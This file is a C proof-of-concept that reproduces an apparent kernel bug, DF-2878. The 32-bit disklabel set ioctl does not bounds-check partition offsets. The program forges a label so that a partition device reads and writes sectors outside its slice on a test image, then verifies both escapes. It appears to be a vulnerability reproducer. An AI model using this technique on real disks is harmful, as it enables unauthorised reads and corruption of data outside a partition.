/*
 * DF-2878 -- l32_setdisklabel installs an in-core disklabel32 with no
 * structural bounds validation of d_partitions[].p_offset (sys/kern/
 * subr_disklabel32.c:249-315 checks only p_size > sp->ds_size).  After
 * DIOCSDINFO32, every I/O through the partition device is translated by
 * dscheck() to (ds_offset + p_offset + secno) * secsize -- so a partition
 * pointing past the end of the slice makes /dev/vnXs1a read and write
 * OUTSIDE the slice on the underlying device.
 *
 * The label64 twin validates exactly this (sys/kern/subr_disklabel64.c:
 * 275-306); the label32 read path validates it (l32_fixlabel,
 * subr_disklabel32.c:593-609).  The label32 SET path validates nothing.
 *
 * run: ./poc2878 <image-file>      (as root, /dev/vn0 configured on image)
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/dtype.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>

#define DISKMAGIC32	0x82564557u
#define MAXPARTITIONS32	16
#define RAW_PART	2

struct partition32 {
	u_int32_t	p_size;
	u_int32_t	p_offset;
	u_int32_t	p_fsize;
	u_int8_t	p_fstype;
	u_int8_t	p_frag;
	u_int16_t	p_cpg;
};

struct disklabel32 {
	u_int32_t d_magic;
	u_int16_t d_type;
	u_int16_t d_subtype;
	char d_typename[16];
	char d_packname[16];
	u_int32_t d_secsize, d_nsectors, d_ntracks, d_ncylinders,
		  d_secpercyl, d_secperunit;
	u_int16_t d_sparespertrack, d_sparespercyl;
	u_int32_t d_acylinders;
	u_int16_t d_rpm, d_interleave, d_trackskew, d_cylskew;
	u_int32_t d_headswitch, d_trkseek, d_flags;
	u_int32_t d_drivedata[5];
	u_int32_t d_spare[5];
	u_int32_t d_magic2;
	u_int16_t d_checksum;
	u_int16_t d_npartitions;
	u_int32_t d_bbsize;
	u_int32_t d_sbsize;
	struct partition32 d_partitions[MAXPARTITIONS32];
};

_Static_assert(sizeof(struct disklabel32) == 404, "label32 layout");
_Static_assert(offsetof(struct disklabel32, d_partitions) == 148, "parts off");

#define DIOCSDINFO32	_IOW('d', 102, struct disklabel32)

/* geometry of the image built by mkimg.py */
#define SLICE_START	2048
#define SLICE_SIZE	61696
#define MARKER_REL	61796			/* 63844 - 2048: OUTSIDE slice */
#define MARKER_ABS	63844

static u_int16_t
dkcksum32(struct disklabel32 *lp)
{
	u_int16_t *p, *end, sum = 0;
	p = (u_int16_t *)lp;
	end = (u_int16_t *)&lp->d_partitions[lp->d_npartitions];
	while (p < end)
		sum ^= *p++;
	return sum;
}

static void
mklabel(struct disklabel32 *lp, u_int a_off, u_int a_size)
{
	memset(lp, 0, sizeof(*lp));
	lp->d_magic = DISKMAGIC32;
	lp->d_secsize = 512;
	lp->d_nsectors = 32;
	lp->d_ntracks = 64;
	lp->d_secpercyl = 32 * 64;
	lp->d_secperunit = SLICE_SIZE;
	lp->d_interleave = 1;
	lp->d_magic2 = DISKMAGIC32;
	lp->d_npartitions = 3;
	lp->d_bbsize = 8192;
	lp->d_sbsize = 8192;
	lp->d_partitions[0].p_size = a_size;	/* 'a' */
	lp->d_partitions[0].p_offset = a_off;
	lp->d_partitions[0].p_fstype = FS_OTHER;
	lp->d_partitions[RAW_PART].p_size = SLICE_SIZE;	/* 'c' raw */
	lp->d_partitions[RAW_PART].p_offset = 0;
	lp->d_checksum = dkcksum32(lp);
}

static void
dump(const char *tag, const char *buf)
{
	printf("%s: %.48s\n", tag, buf);
}

int
main(int argc, char **argv)
{
	struct disklabel32 lp;
	char buf[512];
	int fd, ff, error = 0;

	if (argc != 2) {
		fprintf(stderr, "usage: poc2878 <image-file>\n");
		exit(2);
	}

	/* ---- 1. baseline: vn0s1a per the ON-DISK (bounded) label ---- */
	fd = open("/dev/vn0s1a", O_RDONLY);
	if (fd < 0) {
		perror("open /dev/vn0s1a (baseline)");
		fprintf(stderr, "is the vn configured? vnconfig -c /dev/vn0 img\n");
		exit(2);
	}
	memset(buf, 0, sizeof(buf));
	if (pread(fd, buf, 512, 0) != 512) {
		perror("baseline pread vn0s1a");
		exit(2);
	}
	dump("BEFORE ioctl, vn0s1a@0  (in-slice, expect 'df2878-inside-slice')", buf);
	close(fd);

	/* out-of-slice read attempt under the bounded label: EOF at +16 sec */
	fd = open("/dev/vn0s1a", O_RDONLY);
	memset(buf, 0, sizeof(buf));
	ssize_t n = pread(fd, buf, 512, (off_t)MARKER_REL * 512);
	printf("BEFORE ioctl, vn0s1a@%d (out-of-slice offset): read=%zd errno=%d (%s)\n",
	    MARKER_REL, n, errno, n < 0 ? strerror(errno) : "read-something(!)");
	close(fd);

	/* ---- 2. install in-core label: 'a' -> OUTSIDE the slice ---- */
	fd = open("/dev/vn0s1", O_RDWR);
	if (fd < 0) {
		perror("open /dev/vn0s1");
		exit(2);
	}
	mklabel(&lp, MARKER_REL, 8);
	if (ioctl(fd, DIOCSDINFO32, &lp) < 0) {
		printf("DIOCSDINFO32: REJECTED: %s\n", strerror(errno));
		printf("=> kernel enforces slice bounds on the set path (patched?)\n");
		close(fd);
		exit(1);
	}
	printf("DIOCSDINFO32: accepted (in-core 'a' -> slice-relative %d = outside slice)\n",
	    MARKER_REL);
	close(fd);

	/* ---- 3. read through vn0s1a: must now hit out-of-slice bytes ---- */
	fd = open("/dev/vn0s1a", O_RDONLY);
	if (fd < 0) {
		perror("open /dev/vn0s1a (after)");
		exit(2);
	}
	memset(buf, 0, sizeof(buf));
	if (pread(fd, buf, 512, 0) != 512) {
		perror("after pread vn0s1a");
		exit(2);
	}
	dump("AFTER  ioctl, vn0s1a@0  (expect 'DF2878-OUTSIDE-SLICE-SECRET')", buf);
	if (strncmp(buf, "DF2878-OUTSIDE-SLICE-SECRET", 27) == 0)
		printf("READ-ESCAPE: PASS - partition node returned bytes from "
		       "OUTSIDE the slice\n");
	else {
		printf("READ-ESCAPE: FAIL - got in-slice data\n");
		error = 1;
	}

	/* ---- 4. write through vn0s1a, then verify on the backing file ---- */
	fd = open("/dev/vn0s1a", O_RDWR);
	memset(buf, 0, sizeof(buf));
	strcpy(buf, "DF2878-ESCAPED-WRITE");
	if (pwrite(fd, buf, 512, 512) != 512) {	/* abs 63845: outside slice */
		perror("after pwrite vn0s1a");
		exit(2);
	}
	close(fd);

	ff = open(argv[1], O_RDONLY);
	if (ff < 0) {
		perror("open image file");
		exit(2);
	}
	memset(buf, 0, sizeof(buf));
	if (pread(ff, buf, 512, (off_t)63845 * 512) != 512) {
		perror("pread image file");
		exit(2);
	}
	close(ff);
	dump("backing image @63845 (expect 'DF2878-ESCAPED-WRITE')", buf);
	if (strncmp(buf, "DF2878-ESCAPED-WRITE", 20) == 0)
		printf("WRITE-ESCAPE: PASS - write through partition node landed "
		       "OUTSIDE the slice\n");
	else {
		printf("WRITE-ESCAPE: FAIL\n");
		error = 1;
	}

	printf("DF-2878 %s\n", error ? "NOT REPRODUCED" : "REPRODUCED");
	return error;
}
